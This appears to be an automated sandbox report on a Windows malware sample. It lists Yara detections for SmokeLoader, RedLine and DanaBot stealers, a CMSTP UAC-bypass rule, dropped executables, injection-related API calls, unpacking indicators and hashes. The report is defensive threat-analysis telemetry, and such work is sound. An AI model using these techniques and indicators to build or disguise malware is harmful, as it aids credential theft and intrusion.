Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.302176003.0000000000770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.367109929.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.302320400.0000000000901000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.367033769.00000000008C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: file.exe, 00000000.00000002.302380364.0000000000938000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: B9D7.exe, 0000000B.00000003.387394445.000000007F700000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: RegisterRawInputDevices

E-Banking Fraud

Yara detected DanaBot stealer dll

Source: Yara match	File source: 11.3.B9D7.exe.2f30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.B9D7.exe.2f30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.385202349.0000000002F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 19.2.AF0C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.AF0C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000A.00000002.367359539.0000000000A8B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.302147323.0000000000760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.302176003.0000000000770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000A.00000002.367016425.00000000008B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000C.00000002.434869552.000000000092C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.367109929.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000C.00000002.434764935.0000000000740000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.302320400.0000000000901000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000A.00000002.367033769.00000000008C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.302433591.000000000094D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.453219998.0000000002110000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000013.00000002.452887141.0000000000651000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file has a writeable .text section

Source: C60F.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pigalicapi.exe.20.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040244C	0_2_0040244C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040289A	0_2_0040289A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040273F	0_2_0040273F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00762901	0_2_00762901
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00955CA5	0_2_00955CA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00955C58	0_2_00955C58
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_0040244C	10_2_0040244C
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_0040289A	10_2_0040289A
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_0040273F	10_2_0040273F
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00A93DBD	10_2_00A93DBD
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00A93D70	10_2_00A93D70
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_0092CBC8	12_2_0092CBC8

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\AF0C.exe F72D871D40BCAA009D3F2456134152852F2776C74D5E24AF0BC69C1287422B16
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\B9D7.exe 69986FEF23051BFFD89CD0102875936B9D4F965A4CA9C9ED93799747BFDD3B0C

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 19.2.AF0C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.AF0C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000A.00000002.367359539.0000000000A8B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.302147323.0000000000760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.302176003.0000000000770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000A.00000002.367016425.00000000008B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000C.00000002.434869552.000000000092C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.367109929.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000C.00000002.434764935.0000000000740000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.302320400.0000000000901000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000A.00000002.367033769.00000000008C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.302433591.000000000094D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.453219998.0000000002110000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000013.00000002.452887141.0000000000651000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401514
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014F2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040234C NtQuerySystemInformation,	0_2_0040234C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401557
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402357 NtQuerySystemInformation,	0_2_00402357
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402363 NtQuerySystemInformation,	0_2_00402363
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402367 NtQuerySystemInformation,	0_2_00402367
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040151F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040151F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040152C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040152C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402391 NtQuerySystemInformation,	0_2_00402391
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401514
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_004014F2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_004014F2
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_0040234C NtQuerySystemInformation,	10_2_0040234C
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_00401557
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402357 NtQuerySystemInformation,	10_2_00402357
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402363 NtQuerySystemInformation,	10_2_00402363
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402367 NtQuerySystemInformation,	10_2_00402367
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_0040151F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_0040151F
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_0040152C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_0040152C
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402391 NtQuerySystemInformation,	10_2_00402391
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_00409543 GetWindowsDirectoryW,NtAllocateVirtualMemory,EnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,LeaveCriticalSection,LdrEnumerateLoadedModules,	12_2_00409543
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_0040E48D NtQuerySystemInformation,	12_2_0040E48D
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Code function: 12_2_00401B2C NtQueryInformationProcess,	12_2_00401B2C

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe

Code function: 12_2_0040B453: DeviceIoControl,

12_2_0040B453

Source: B9D7.exe.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: AF0C.exe.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\WER\ERC\statecache.lock

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@9/9@114/12

Source: C:\Users\user\AppData\Local\Temp\B9D7.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B9D7.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: file.exe

ReversingLabs: Detection: 69%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\eviivjg C:\Users\user\AppData\Roaming\eviivjg
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B9D7.exe C:\Users\user\AppData\Local\Temp\B9D7.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\AF0C.exe C:\Users\user\AppData\Local\Temp\AF0C.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\AF0C.exe "C:\Users\user\AppData\Local\Temp\AF0C.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C60F.exe C:\Users\user\AppData\Local\Temp\C60F.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B9D7.exe C:\Users\user\AppData\Local\Temp\B9D7.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\AF0C.exe C:\Users\user\AppData\Local\Temp\AF0C.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C60F.exe C:\Users\user\AppData\Local\Temp\C60F.exe	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0bf754aa-c967-445c-ab3d-d8fda9bae7ef}\InProcServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\B9D7.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00953E01 CreateToolhelp32Snapshot,Module32First,

0_2_00953E01

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe

Mutant created: \Sessions\1\BaseNamedObjects\WTfewgNmxpcaVXHKTu

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\suyuvacowavo89\wodan\28 vuterap89\jameterigumav\juzidifizay.pdb source: file.exe
Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: AF0C.exe, 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmp, AF0C.exe, 00000013.00000002.452239814.0000000000410000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: AF0C.exe, 00000013.00000002.531784924.0000000004E15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: AF0C.exe, 00000013.00000002.531784924.0000000004E15000.00000004.00000020.00020000.00000000.sdmp, AF0C.exe, 00000013.00000002.453497246.00000000024E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\kamoterek\nace34_ye.pdb source: AF0C.exe, 0000000C.00000000.409163740.0000000000401000.00000020.00000001.01000000.00000009.sdmp, AF0C.exe, 00000013.00000000.432952452.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: AF0C.exe, 00000013.00000002.531784924.0000000004E15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\suyuvacowavo89\wodan\28 vuterap89\jameterigumav\juzidifizay.pdbX source: file.exe
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: AF0C.exe, 00000013.00000002.531784924.0000000004E15000.00000004.00000020.00020000.00000000.sdmp, AF0C.exe, 00000013.00000002.453497246.00000000024E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\yafeb\tayilacekox\nic.pdb source: B9D7.exe, 0000000B.00000000.380619176.0000000000401000.00000020.00000001.01000000.00000008.sdmp, B9D7.exe.1.dr
Source:	Binary string: %"574C:\kamoterek\nace34_ye.pdb source: AF0C.exe, 0000000C.00000000.409163740.0000000000401000.00000020.00000001.01000000.00000009.sdmp, AF0C.exe, 00000013.00000000.432952452.0000000000401000.00000020.00000001.01000000.00000009.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Unpacked PE file: 12.2.AF0C.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Unpacked PE file: 19.2.AF0C.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\eviivjg	Unpacked PE file: 10.2.eviivjg.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Unpacked PE file: 12.2.AF0C.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\AF0C.exe	Unpacked PE file: 19.2.AF0C.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\C60F.exe

Unpacked PE file: 20.2.C60F.exe.720000.0.unpack

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402C0E push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D5D push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D70 push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D7D push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D1F push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D81 push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402DA7 push ecx; iretd	0_2_00402E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C3C8 push esp; retf 0000h	0_2_0040C3C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C3F8 push esi; retf	0_2_0040C3F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009557AD pushad ; ret	0_2_009557AE
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402C0E push ecx; iretd	10_2_00402E3D
Source: C:\Users\user\AppData\Roaming\eviivjg	Code function: 10_2_00402D5D push ecx; iretd	10_2_00402E3D
